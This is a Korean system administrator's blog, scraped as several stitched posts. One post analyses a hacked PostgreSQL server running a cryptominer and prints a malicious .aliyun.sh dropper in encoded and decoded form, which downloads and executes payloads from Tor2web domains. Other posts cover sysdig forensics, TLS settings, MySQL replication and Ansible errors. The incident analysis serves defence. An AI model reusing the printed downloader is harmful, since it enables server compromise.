IAM : 관리자가 IAM을 통하여 누가, 어느 리소스에, 무슨 작업을 할지 권한을 부여할 수 있다.
primary role :
Cloud Shell :
API 라이브러리에
IAM : 관리자가 IAM을 통하여 누가, 어느 리소스에, 무슨 작업을 할지 권한을 부여할 수 있다.
primary role :
Cloud Shell :
API 라이브러리에
서버 점검 요청 들어와서 확인해보니
sar 로 확인시 cpu 전부 사용중(전부 사용할 서버 아님)
01시 50분 01초 all 99.91 0.00 0.09 0.00 0.00 0.00
01시 52분 01초 all 99.90 0.00 0.10 0.00 0.00 0.00
01시 54분 01초 all 99.93 0.00 0.07 0.00 0.00 0.00
15279 postgres 20 0 2410m 2.3g 4 S 997.4 3.7 343927:26 rjD496
이상한 프로세스 실행돼있음을 확인
postgres 15279 1 99 Dec05 ? 238-20:11:55 rjD496
lsof 로 확인시
rjD496 15279 postgres cwd DIR 8,3 4096 2 /
rjD496 15279 postgres rtd DIR 8,3 4096 2 /
rjD496 15279 postgres txt unknown /proc/15279/exe (readlink: No such file or directory)
rjD496 15279 postgres DEL REG 8,3 24408871 /var/lib/pgsql/532c82963b1166afe6297c911fdebc14
rjD496 15279 postgres mem REG 8,3 557 2621500 /etc/localtime
rjD496 15279 postgres 10w REG 8,3 6 20185158 /tmp/.X11-unix/11
rjD496 15279 postgres 31u IPv4 1194033012 0t0 TCP 서버 아이피 ->101.64.182.145:https (ESTABLISHED)
ALTER USER postgres WITH PASSWORD '123456';
ㄴpgsql 히스토리 보니 패스워드가... 굉장히 취약하다. 이게 아마 원인인듯 하고 추가로 더 점검 진행
-rwxr-xr-x 1 postgres postgres 1370 2017-03-22 09:51 .aliyun.sh
.aliyun.sh 라는 수상한 쉘 스크립트가 삽입돼있음
cat .aliyun.sh
#!/bin/bash
exec &>/dev/null
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10cnVtcHM0YzRvaHh2cTdvCmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluIC91c3IvYmluICRkaXIgL2Rldi9zaG0gL3RtcCAvdmFyL3RtcDtkbyB0b3VjaCAkaS9pICYmIGNkICRpICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp4KCkgewpmPS9pbnQKZD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCndnZXQgLXQxIC1UMTAgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJGYgLU8kZCB8fCBjdXJsIC1tMTAgLWZzU0xrQS0gJDEkZiAtbyRkCmNobW9kICt4ICRkOyRkO3JtIC1mICRkCn0KdSgpIHsKeD0vY3JuCndnZXQgLXQxIC1UMTAgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IHx8IGN1cmwgLW0xMCAtZnNTTGtBLSAkMSR4Cn0KZm9yIGggaW4gdG9yMndlYi5pbyA0dG9yLm1sIG9uaW9uLm1uIG9uaW9uLmluLm5ldCBvbmlvbi50byBkMndlYi5vcmcgY2l2aWNsaW5rLm5ldHdvcmsgb25pb24ud3Mgb25pb24ubnogb25pb24uZ2xhc3MgdG9yMndlYi5zdQpkbwppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgp4IHRydW1wczRjNG9oeHZxN28uJGgKZWxzZQpicmVhawpmaQpkb25lCgppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgooCnUgJHQudG9yMndlYi5pbyB8fAp1ICR0LjR0b3IubWwgfHwKdSAkdC5kMndlYi5vcmcgfHwKdSAkdC5vbmlvbi5tbiB8fAp1ICR0Lm9uaW9uLmluLm5ldCB8fAp1ICR0Lm9uaW9uLnRvIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC5vbmlvbi5wZXQgfHwKdSAkdC50b3Iyd2ViLnN1IHx8CnUgJHQub25pb24uZ2xhc3MgfHwKdSAkdC5vbmlvbi53cwopfGJhc2gKZmkK|base64 -d|bash
디코딩 해보면 아래와 같다.
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=trumps4c4ohxvq7o
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in /usr/bin $dir /dev/shm /tmp /var/tmp;do touch $i/i && cd $i && rm -f i && break;done
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T10 -qU- --no-check-certificate $1$f -O$d || curl -m10 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
u() {
x=/crn
wget -t1 -T10 -qU- -O- --no-check-certificate $1$x || curl -m10 -fsSLkA- $1$x
}
for h in tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su
do
if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then
x trumps4c4ohxvq7o.$h
else
break
fi
done
if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then
(
u $t.tor2web.io ||
u $t.4tor.ml ||
u $t.d2web.org ||
u $t.onion.mn ||
u $t.onion.in.net ||
u $t.onion.to ||
u $t.civiclink.network ||
u $t.onion.pet ||
u $t.tor2web.su ||
u $t.onion.glass ||
u $t.onion.ws
)|bash
fi
스크립트 내용은
해당 스크립트가 실행된 계정의 홈디렉토리와 /usr/bin $dir /dev/shm /tmp /var/tmp 디렉토리내에 i 라는 디렉토리 생성하고
i/int 디렉토리 생성후 그 안에다 tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su
도메인들에서 trumps4c4ohxvq7o 라는 닉네임(해커) 이 만들어놓은 파일을 다운로드 후 실행시키는 스크립트
다운로드 받는 파일은 바이너리 화 돼 있어서 뭔진 모르겠다.
아래 도메인은 방화벽에서 차단
tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su
gitlab - elasticsearch intergration (0) | 2021.02.16 |
---|---|
centos 5 iptables에 geoip 올리기(2020-03-05) (0) | 2020.03.05 |
tls 1.1 지원 중단 (0) | 2019.12.09 |
nginx + php-fpm 취약점 (0) | 2019.10.29 |
sysdig 로 해킹당한 서버 분석해보기 (0) | 2019.06.20 |
노트장으로 my.ini 열어서 옵션 수정하고 컨트롤 + s 로 저장한 뒤 서비스에서 mysql 서비스 재시작하면
서비스가 로컬 컴퓨터에서 시작했다가 중지되었습니다
라는 에러 발생
인코딩 문제로 컨트롤 + s 로 그냥 저장하면 utf8로 저장돼기 때문에 mysql server 가 my.ini 불러올 때 에러나서 실행 안됨
따라서 인코딩을 ansi 로 저장해야합니다.
psslack (0) | 2021.09.02 |
---|---|
appcmd message:Failed to generate item output. The data area passed to a system call is too small. (0) | 2019.01.18 |
linux inode window fileid (0) | 2019.01.11 |
iis 백업 복원 이전 (0) | 2018.09.03 |
윈도우 2012 원격 세션 제한 (0) | 2018.09.03 |
크롬은 2020-01월부터 파폭이나 익스등은 2020-03월부터 tls 1.1 지원 중단
어차피 apache의 경우 거의 대부분 디폴트 설정이 tls 1.1 과 tls 1.2가 같이 포함돼있기 때문에 브라우저에서 지원 종료해도 실제 서비스에는 문제가 없을것이다.(SSLProtocol all -SSLv2 -SSLv3 이렇게 설정 돼 있음)
PS.
tls 1.3 지원 : openssl 1.1.1 이상 / nginx 1.13.0 이상 / apache 2.4.37 이상
ㄴ따라서 아직 tls 1.3 안되는서버도 적잖이 있다.
하지만 오래된 서버의 경우 openssl 버전이 낮아서 tls 1.2가 지원하지 않을 수 있다.
현재 도메인의 TLS 지원 여부 확인 사이트에서 확인 가능
https://www.ssllabs.com/ssltest/
좀 더 도메인 자체의 보안등급을 올리고자 한다면 아래와 같이 설정하여 tls 1.1을 제외해주면 됩니다.
(tls 1.1 제외되는 이유는 poodle 이라는 공격기법 때문이라한다. tls 1.1 tls 1.2 가 아파치에 동시 적용 돼 있으면 브라우저에서 tls 1.1을 지원 중단하여도 무슨 다운그레이드 협약? 뭐 그런거 때문에 tls 1.1로 사용 할 수 있다고 한다. 즉 보안에 취약)
아파치 서버의 경우 위와 같이 설정법을 통해 TLS 1.2(아파치 2.4.37 이상이면 tls 1.3까지)만 적용되도록 하면 될 듯
아파치 2.2 면 SSLProtocol -all +TLSv1.2 이런식으로 전부 빼버리고 TLS v1.2만 추가해주고
아파치 2.4.37 이상이면 SSLProtocol -all +TLSv1.2 +TLSv1.3 이런식으로 전부 빼버리고 +TLSv1.2 +TLSv1.3 만 추가
(엔진엑스나 java등은 그에 맞게 구글링하면 될듯합니다.)
만약 openssl 버전이 낮아서 tls 1.2 지원이 안되면
1.취약점 해결된 openssl 버전 새롭게 설치(기존 openssl 건들면 안되고 추가로 설치 해줘야 함)
2.새로 설치한 openssl을 참조하는 apache를 새로 설치
3.새로 설치된 mod_ssl.so 를 기존에 사용하던 mod_ssl.so 에 복사하던가 & 아니면 기존에 사용하던 apache 설정파일을 새로 설치한 apache에 넣어주던가 하면 됩니다.
(기왕이면 apache 버전도 같이 올려주는게 좋긴 할 듯)
요약하자면
1.2020년부터 tls 1.1 지원 중단(tls 1.1로만 사용되던 구버전의 apache등은 사이트 안나올 가능성 있음)
ㄴtls 1.2 지원 여부 확인 사이트 https://www.ssllabs.com/ssltest/
2.적잖이 옛날버전의 아파치도 tls 1.2 는 지원함(따라서 왠만하면 사이트 장애는 안날듯)
ㄴ하지만 보안에 취약(poodle)
3.따라서 관리 서버면 tls 1.1을 빼주는게 좋다.
ㄴtls 1.1까지만 지원되는 환경이라면 업그레이드 필요
centos 5 iptables에 geoip 올리기(2020-03-05) (0) | 2020.03.05 |
---|---|
pgsql 해킹 프로세스 (0) | 2019.12.30 |
nginx + php-fpm 취약점 (0) | 2019.10.29 |
sysdig 로 해킹당한 서버 분석해보기 (0) | 2019.06.20 |
서버 점검.. (0) | 2019.06.11 |
pgsql 해킹 프로세스 (0) | 2019.12.30 |
---|---|
tls 1.1 지원 중단 (0) | 2019.12.09 |
sysdig 로 해킹당한 서버 분석해보기 (0) | 2019.06.20 |
서버 점검.. (0) | 2019.06.11 |
centos 5 yum error (0) | 2019.04.29 |
마스터1대, 슬레이브 3대로 구성된 디비 서버들인데
Slave_IO_State: Waiting for master to send event
Master_Host: 192.168.0.212
Master_User: slave1
Master_Port: 3813
Connect_Retry: 60
Master_Log_File: mariadb-bin.602137
Read_Master_Log_Pos: 163251227
Relay_Log_File: localhost-relay-bin.013096
Relay_Log_Pos: 100492948
Relay_Master_Log_File: mariadb-bin.602137
Slave_IO_Running: Yes
Slave_SQL_Running: No
Replicate_Do_DB:
Replicate_Ignore_DB:
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 1032
Last_Error: Could not execute Delete_rows_v1 event on table gameworkr.offer_account; Can't find record in 'offer_account', Error_code: 1032; handler error HA_ERR_KEY_NOT_FOUND; the event's master log mariadb-bin.602137, end_log_pos 101337573
Skip_Counter: 0
Exec_Master_Log_Pos: 100492647
Relay_Log_Space: 700123700
Until_Condition: None
Until_Log_File:
Until_Log_Pos: 0
Master_SSL_Allowed: No
Master_SSL_CA_File:
Master_SSL_CA_Path:
Master_SSL_Cert:
Master_SSL_Cipher:
Master_SSL_Key:
Seconds_Behind_Master: NULL
Master_SSL_Verify_Server_Cert: No
Last_IO_Errno: 0
Last_IO_Error:
Last_SQL_Errno: 1032
Last_SQL_Error: Could not execute Delete_rows_v1 event on table gameworkr.offer_account; Can't find record in 'offer_account', Error_code: 1032; handler error HA_ERR_KEY_NOT_FOUND; the event's master log mariadb-bin.602137, end_log_pos 101337573
Replicate_Ignore_Server_Ids:
Master_Server_Id: 1
Master_SSL_Crl:
Master_SSL_Crlpath:
Using_Gtid: No
Gtid_IO_Pos:
Replicate_Do_Domain_Ids:
Replicate_Ignore_Domain_Ids:
Parallel_Mode: conservative
SQL_Delay: 0
SQL_Remaining_Delay: NULL
Slave_SQL_Running_State:
Slave_DDL_Groups: 552
Slave_Non_Transactional_Groups: 0
Slave_Transactional_Groups: 2545153712
위와같이 1032 에러 발생, 리플리케이션 장애발생
먼저
STOP SLAVE; SET GLOBAL SQL_SLAVE_SKIP_COUNTER = 1;START SLAVE;
슬레이브 1번서버 에러 스킵후 데이터를 확인해보니 에러 난 슬레이브1번 서버의 데이터가 정상이고 나머지가 비정상임을 확인
즉
마스터, 슬레이브2,3 의 데이터는 비정상이고 슬레이브1의 데이터가 정상이기에 슬레이브 1의 데이터를 마스터, 슬레이브2,3에 옮겨야 한다.
아래와 같이 작업 진행
1.모든 디비서버들 외부에서의 접속 차단(iptables로 디비 서버끼리는 통신되도록 하고 나머지 외부에서 들어오는건 차단) 그리고 한 1~2분정도 기다려서 리플리케이션 확인
2.슬레이브1 서버에서 정상 테이블 덤프 - drop table이나 no create 옵션 사용하여 insert 구문만 들어가도록 덤프
3.마스터 서버에서 문제있는 테이블 트렁케이트 후 기달려서 동기화 까지 확인
4.마스터 서버에 덤프받은 디비 복원 후 동기화 확인
ps.
디비 차단 안한상태에서, 즉 서비스에 최대한 문제 없이 진행하고자 한다면 아래와 같이 했으면 됐을듯싶다.
1.문제있는 테이블 수정권한이 있는 계정의 수정권한을 빼서 해당 테이블 변경되지 않도록 설정
2.나머지는 기존처럼 정상 테이블 백업 후 마스터에서 truncate 한 뒤 복원하기
mariadb columnstore 에 대하여 (0) | 2021.06.16 |
---|---|
mariadb install, undefined reference to `__rdtsc' err (0) | 2020.04.24 |
mysql 리플리케이션 마스터 - 슬레이브간 지연 (0) | 2019.08.05 |
mysql log file size error (0) | 2019.06.26 |
mysql replication relay log relay-bin.999999 bug (0) | 2019.05.03 |
물리적인 박스형 스위치 2대 또는 그 이상을 하나의 논리적인 스위치로 구성하는것, 명칭은 벤더마다 다르다.
제조사명칭
화웨이 | istack |
주니퍼 | VC(버츄얼샤시) |
익스트림 | stack |
시스코 | stack |
stack과 별개로 cascade 라는게 있는데 이건 |스위치1 <-> 스위치2 <-> 스위치 3| 이런식으로 연결된다.
차이점은
1.루프가 날 수 있다.
2.스택은 대역폭이 증가, cascade 는 대역폭 증가 없음
3.스택은 마스터 하나에서만 설정 변경, cascade 은 각각 관리
4.스택은 대부분 동일 제조사,모델로만 가능(스택 전용 케이블)
http://www.fiber-optic-equipment.com/differentiate-3-technologies-switch-stacking-vs-cascading-vs-clustering.html
k8s (0) | 2023.01.10 |
---|---|
소프트웨어 공부 (0) | 2021.01.30 |
L4 알테온 설정중 metric rmetric (0) | 2019.02.13 |
그누보드 디렉토리 설명 (0) | 2018.09.03 |
서버 이전시 mysql 4 to 5 password 함수 안맞아서 php 에러 날때 (0) | 2018.09.03 |
[root@localhost ~]# /opt/mysql/bin/mysql -uroot -p'123123' -e 'SHOW SLAVE STATUS \G' | egrep "Master_Log_Pos"
Read_Master_Log_Pos: 478353559
Exec_Master_Log_Pos: 452076624
Seconds_Behind_Master: 3971
위와같이 싱크가 잘 안맞는다.
bin 로그 확인시 지연될만한 쿼리가 아니고 개발자에게 문의해봐도 따로 쿼리 업데이트가 된건 없다고 한다.
iostat
Linux 2.6.32-754.17.1.el6.x86_64 () 08/05/2019 _x86_64_ (24 CPU)
avg-cpu: %user %nice %system %iowait %steal %idle
6.77 0.00 0.55 3.28 0.00 89.40
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn
sda 1.04 7.48 24.84 3539870 11757640
sdb 2.26 0.15 2158.02 70244 1021591088
sdc 0.00 0.01 0.00 6378 8
sdd 694.72 2571.53 18588.32 1217341239 8799565808
(sdd 디스크가 mysql data 디렉토리)
디스크 i/o가 높긴한데... 예전부터 높았다. 디스크 문제도 아닌것으로 보이고..
커널업데이트 한 이후부터 싱크가 안맞고 있음
i/o 스케쥴링이 cfg 로 설정돼있는 상태여서 noop(ssd 디스크임)으로 변경해봤으나 큰 차이가 없음
commitinnodb_flush_log_at_trx_commit = 2 으로 설정(기본 1)
ㄴhttps://santander.co.kr/151 참고
Seconds_Behind_Master: 0
우선 조치완료.. 했으나 개운치않다. 추가 점검할 예정
mariadb install, undefined reference to `__rdtsc' err (0) | 2020.04.24 |
---|---|
mysql 1032 에러 조치 (0) | 2019.09.23 |
mysql log file size error (0) | 2019.06.26 |
mysql replication relay log relay-bin.999999 bug (0) | 2019.05.03 |
innodb mysql/mariadb insert 속도 높이기 (0) | 2019.04.12 |
우선 구글에다가 ansible awx 설치 하면 거의 99프로는 https://github.com/ansible/awx.git 요거 설치하는게 나온다.
저걸로 설치하면 에러가 발생한다. 아래처럼..
TASK [local_docker : Start the containers] *********************************************************************************************************************************************************
fatal: [localhost]: FAILED! => {"changed": false, "msg": "Failed to import docker or docker-py - cannot import name __version__. Try `pip install docker` or `pip install docker-py` (Python 2.6)"}
이런 에러가 난다.
구글링 해보면 많이 나온다. 뭐 pip install docker 해보고 언인스톨 했다가 yum 으로 다시 설치 해보고 compose 버전 지정해서 설치 해보고.... 계속 에러가 난다.
ansible 에러가 아니고 docker 컨테이너 실행이 안되는거니까.. 하나하나 찾아보면
우선.. 에러나는 task가
- name: Start the containers
docker_service:
project_src: "{{ docker_compose_dir }}"
restarted: "{{ awx_compose_config is changed or awx_secret_key is changed }}"
register: awx_compose_start
위 부분이다.
docker_service 라는 모듈은 말 그대로 docker 서비스, 컨테이너를 관리하는 모듈인데 뭐 최신버전(ansible 2.8)은 docker_service라는 모듈 대신에 docker_compose를 사용하라고 한다.
(https://docs.ansible.com/ansible/latest/modules/docker_service_module.html 참고)
하... 설치 잘된다..
이렇게 쉬운거였다니 ;;;;;; 어이가 없네 진자............ 역시 구글링 백날 해봐야 공식 docs 가 최고인것같다.
ansible - windows Win32ErrorCode 1058 (0) | 2019.05.23 |
---|---|
windows host에서 ansible 실행하는법 (0) | 2019.05.23 |
ansible 공부한 모듈들 정리 (0) | 2019.05.02 |
ansible - 디렉토리 구조 (0) | 2019.05.02 |
ansible- error (0) | 2019.04.26 |
190329 19:47:38 InnoDB: ERROR: the age of the last checkpoint is 13637149,
InnoDB: which exceeds the log group capacity 9433498.
InnoDB: If you are using big BLOB or TEXT rows, you must set the
InnoDB: combined size of log files at least 10 times bigger than the
InnoDB: largest such row.
참고
iib_logfiib_logfile 0이랑 1 mv로 옮겨두고
innodb_log_file_size = 52428800 (my.cnf에는 아무 설정 안돼있고 디폴트는 5242880 인데 0 하나 더 줌)
그리고 mysql 재시작
mysql 1032 에러 조치 (0) | 2019.09.23 |
---|---|
mysql 리플리케이션 마스터 - 슬레이브간 지연 (0) | 2019.08.05 |
mysql replication relay log relay-bin.999999 bug (0) | 2019.05.03 |
innodb mysql/mariadb insert 속도 높이기 (0) | 2019.04.12 |
mysql 대용량 DB 백업 구성 (0) | 2019.04.09 |
서버에서 설정하는건 구글링하면 워낙 많이 나오고 쉽다. 근데 스위치에서 설정하는건 네트워크엔지니어가 아니라 굉장히 어색하고 무섭다. 돌아가고 있는 스위치 괜히 잘못건드리면 안되니까.
스위치 설정부분
ㄴ스위치 밴더별로 다르겠지만 어떤식으로 구성하는건지 이해한다면 뭐 크게 어렵진 않을듯...
ㄴport-채널 인터페이스를 먼저 만드는 밴더도 있다고 함 아래의 경우는 port-채널 인터페이스 안만들고 range 포트 해서 port-채널 인터페이스를 생성하는 경우이다.
1.티밍 구성할 포트들의 channel-group 을 지정해준다.
#interface range gi 0/1-0/3 ##스위치의 1~3 포트를 묶을경우
ㄴ스위치의 1~3 기가이더넷 포트의 인터페이스를 수정하겠다.
#channel-group 1 mode active
ㄴ서버간 티밍 설정은 왠만하면 lacp로 구성(스위치가 lacp를 지원하면.. 대부분 지원하는듯?) 본딩도 마찬가지임
ㄴlacp중에서도 3가지 모드가 있는데.. active로 하면 되는듯
ㄴ위에 1~3 포트들의 채널 그룹 1을 액티브 모드로 설정
#show eternet summaryshow etherchannel summary
ㄴ 잘 구성돼있나 확인
#show lacp-counter
ㄴ 잘 구성돼있나 확인
구성 삭제는 역순으로 진행하면 됨
시스템엔지니어의 실무관점 mongodb 메뉴얼 (0) | 2021.09.28 |
---|---|
fortigate 100E SSL-VPN & (google workspace) 구성하기 (0) | 2021.08.10 |
사내 apple business manager(abm), mobile device manager(mdm), profile manager 구성하기 (2) | 2021.07.05 |
점검 - 평소보다 트래픽이 많이 나온 서버 점검 (0) | 2020.07.29 |
브라우저에서 naver.com 을 입력하면 어떤 플로우로 접속이 될까 (0) | 2020.07.13 |
1.갑자기 cpu 사용률이 높아짐
2.실행하지 않은 프로세스가 구동되는것을 발견
3.그 프로그램은 채굴 프로그램이였음
4.설치한적이 없으니 서버가 해킹당한것으로 판단
5./tmp/javax 라는 디렉토리에서 sshd2 라는 프로그램이 실행됐고 이 프로그램이 채굴 프로그램임
strace는 이미 실행됐을 때 그 프로세스를 디버깅 하는거기 때문에 strace로는 분석이 불가능한것으로 판단
따라서 sysdig로 어떤 경로로 들어온건지 침해사고 분석을 해보자.
1./tmp/javax 디렉토리에 악성파일이 생성/실행 되는거니까 이 디렉토리를 기준으로 sysdig
ㄴ또는 /tmp/javax/sshd2 가 실행되는거니까 이 파일을 기준으로 하는것도 도움이 될듯하다. 하지만 sshd2가 실행되면 cpu 자원을 거의 다 잡아먹기 때문에 sshd2는 퍼미션 000으로 주고 수정도 안되게끔 immutable 해놓은 상태이다.
[root@localhost ~]# sysdig fd.name contains /tmp/javax -w /root/sysdig.txt &
[1] 15994
[root@localhost ~]#
[root@localhost ~]#
[root@localhost ~]# ps -ef | grep 15994
root 15994 15215 15 14:10 pts/1 00:00:00 sysdig fd.name contains /tmp/javax -w /root/sysdig.txt
좀 있다 확인해보니 아래와 같은 로그들이 쌓여있다.
8526754 16:30:01.519760827 7 (24369) < open fd=5 name=javax(javax) flags=5185(O_DIRECTORY|O_NONBLOCK|O_RDONLY|O_CLOEXEC) mode=0 dev=802
8526755 16:30:01.519764268 7 (24369) > fchdir fd=5
8526756 16:30:01.519764853 7 (24369) < fchdir res=0
8526757 16:30:01.519765611 7 (24369) > getdents fd=5
8526758 16:30:01.519769890 7 (24369) < getdents res=160
8526759 16:30:01.519771972 7 (24369) > getdents fd=5
8526760 16:30:01.519772426 7 (24369) < getdents res=0
8526761 16:30:01.519773239 7 (24369) > close fd=5
8526762 16:30:01.519774769 7 (24369) < close res=0
10671620 17:00:01.782017001 12 sshd (24528) < open fd=5(
pipe:[29129900]) name=javax(/javax) flags=5185(O_DIRECTORY|O_NONBLOCK|O_RDONLY|O_CLOEXEC) mode=0 dev=802
10671621 17:00:01.782019569 12 sshd (24528) > fchdir fd=5(
pipe:[29129900])
10671622 17:00:01.782019965 12 sshd (24528) < fchdir res=0
10671623 17:00:01.782020603 12 sshd (24528) > getdents fd=5(
pipe:[29129900])
10671624 17:00:01.782023743 12 sshd (24528) < getdents res=160
10671625 17:00:01.782025437 12 sshd (24528) > getdents fd=5(
pipe:[29129900])
10671626 17:00:01.782025746 12 sshd (24528) < getdents res=0
10671627 17:00:01.782026366 12 sshd (24528) > close fd=5(
pipe:[29129900])
10671628 17:00:01.782027341 12 sshd (24528) < close res=0
12728508 17:30:01.294747116 2 (2681) < open fd=5 name=javax(javax) flags=5185(O_DIRECTORY|O_NONBLOCK|O_RDONLY|O_CLOEXEC) mode=0 dev=802
12728509 17:30:01.294750623 2 (2681) > fchdir fd=5
12728510 17:30:01.294751237 2 (2681) < fchdir res=0
12728511 17:30:01.294751981 2 (2681) > getdents fd=5
12728512 17:30:01.294756100 2 (2681) < getdents res=160
12728513 17:30:01.294758160 2 (2681) > getdents fd=5
12728514 17:30:01.294758765 2 (2681) < getdents res=0
12728515 17:30:01.294759540 2 (2681) > close fd=5
12728516 17:30:01.294760864 2 (2681) < close res=0
tls 1.1 지원 중단 (0) | 2019.12.09 |
---|---|
nginx + php-fpm 취약점 (0) | 2019.10.29 |
서버 점검.. (0) | 2019.06.11 |
centos 5 yum error (0) | 2019.04.29 |
nodejs npm , socket.io 설치 (0) | 2019.04.10 |
Jun 101. 서버의 crontab이 삭제 돼있는것을 확인
2. 당시 등록해줬으나 또다시 삭제됨, 1분간격으로 삭제되는것을 확인
3.message 로그에는
Jun 10 06:53:54 cobuy-0952 init: Re-executing /sbin/init
Jun 10 06:54:55 cobuy-0952 init: Re-executing /sbin/init
Jun 10 06:55:55 cobuy-0952 init: Re-executing /sbin/init
Jun 10 06:56:56 cobuy-0952 init: Re-executing /sbin/init
Jun 10 06:57:56 cobuy-0952 init: Re-executing /sbin/init
Jun 10 06:58:57 cobuy-0952 init: Re-executing /sbin/init
Jun 10 06:59:58 cobuy-0952 init: Re-executing /sbin/init
라는 메세지가 1분간격으로 쌓여있음, tail -f 로 확인해보면 위 메세지가 로깅될때마다 crontab에 삭제됨
##참고로 Re-executing /sbin/init 메세지는 init 6 해서 보면 서버 재부티될 때 올라오는 메세지
4.strace -s 65535 -f -t -o log.txt -p 1 으로 init(pid : 1) 프로세스를 확인해보면 1분간격으로 init restart가 확인됨
strace 내용
1 17:21:46 --- SIGTERM {si_signo=SIGTERM, si_code=SI_USER, si_pid=4316, si_uid=0} ---
1 17:21:46 write(4, "\0", 1) = 1
1 17:21:46 rt_sigreturn() = -1 EINTR (Interrupted system call)
1 17:21:46 read(3, "\0", 1) = 1
1 17:21:46 read(3, 0x7fff9a1c07df, 1) = -1 EAGAIN (Resource temporarily unavailable) ###7fff9a1c07df 이메모리주소를 찾을려고 했는데 못찾았다.
1 17:21:46 open("/etc/localtime", O_RDONLY) = 9 ####여기서부터
1 17:21:46 fstat(9, {st_mode=S_IFREG|0644, st_size=517, ...}) = 0
1 17:21:46 fstat(9, {st_mode=S_IFREG|0644, st_size=517, ...}) = 0
1 17:21:46 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f95b8be1000
1 17:21:46 read(9, "TZif2\0\0\중략\0\0\0\0\0\0\0\0\0\0\0\0\nKST-9\n", 4096) = 517
1 17:21:46 lseek(9, -304, SEEK_CUR) = 213
1 17:21:46 read(9, "TZif2\0\중략\0\0\0\0\0\0\nKST-9\n", 4096) = 304
1 17:21:46 close(9) = 0 #####여기까지는 localtime 불러오는거니까 무시해도 될듯
1 17:21:46 munmap(0x7f95b8be1000, 4096) = 0
1 17:21:46 socket(PF_LOCAL, SOCK_DGRAM|SOCK_CLOEXEC, 0) = 9
1 17:21:46 connect(9, {sa_family=AF_LOCAL, sun_path="/dev/log"}, 110) = 0
1 17:21:46 sendto(9, "<28>May 31 17:21:46 init: Re-executing /sbin/init", 49, MSG_NOSIGNAL, NULL, 0) = 49 ###메세지 로그에 로깅되는 부분..
1 17:21:46 rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [], 8) = 0
1 17:21:46 execve("/sbin/init", ["/sbin/init", "--restart"], [/* 3 vars */]) = 0 여기서 아마 crontab이 초기화되는것같다...
1 17:21:46 brk(0) = 0x560480f31000
등등... 약 360줄
strace를 토대로 어느 프로세스(혹은 데몬)때문에 crontab이 초기화 되는지 찾아보려했는데 결국은 실패
ㄴ/proc/*/map/ 에는 뒤에 몇자리 때봐도 안나
애초에 어느 프로세스로 인해 실행됐다 라는 기록이 안된다면 찾는건 거의 불가능하다고 판단
처음에는 시스템이 올라오면서 init 데몬이 뭔가 문제가 생겼나.. 싶어서 os 재부팅도 해보고 메모리에 Resource temporarily unavailable 에러가 나오니 메모리 불량인가... 싶어 메모리 교체도 해봤으나 하루정도 괜찮고 동일증상 발생
crontab도 안돌고 있는데 1분간격으로 위와같이 init 프로세스에서 뭔가 작동하는걸로보아 현재 실행돼있는 프로세스중 하나에 문제가 있다고 판단
수상한 프로세스를 찾아보니 서버가 해킹당해있었음
/tmp/javax 에 해킹 프로그램 실행돼있었음 많이 보던 해킹프로그램이였는데 이걸로 인해 crontab이 삭제(init 프로세스에 뭔가 작동)되는건 첨보는 경우였습니다.
nginx + php-fpm 취약점 (0) | 2019.10.29 |
---|---|
sysdig 로 해킹당한 서버 분석해보기 (0) | 2019.06.20 |
centos 5 yum error (0) | 2019.04.29 |
nodejs npm , socket.io 설치 (0) | 2019.04.10 |
ionice (1) | 2019.04.09 |
TASK [Running Windows Update] **********************************************************************************************************
task path: /root/ansible/dhsa/winu.yml:5
win_updates: running win_updates module
Using module file /usr/lib/python2.7/site-packages/ansible/modules/windows/win_updates.ps1
<123.123.123.123> ESTABLISH WINRM CONNECTION FOR USER: test01 on PORT 5986 TO 123.123.123.123
EXEC (via pipeline wrapper)
The full traceback is:
Exception calling "RunAsUser" with "7" argument(s): "Failed to start become pro
cess (The service cannot be started, either because it is disabled or because i
t has no enabled devices associated with it, Win32ErrorCode 1058)"
At line:907 char:9
+ $result = [AnsibleBecome.BecomeUtil]::RunAsUser($username, $password,
$l ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : Win32Exception
fatal: [123.123.123.123 ]: FAILED! => {
"changed": false,
"msg": "Failed to become user SYSTEM: Exception calling \"RunAsUser\" with \"7\" argument(s): \"Failed to start become process (The service cannot be started, either because it is disabled or because it has no enabled devices associated with it, Win32ErrorCode 1058)\""
}
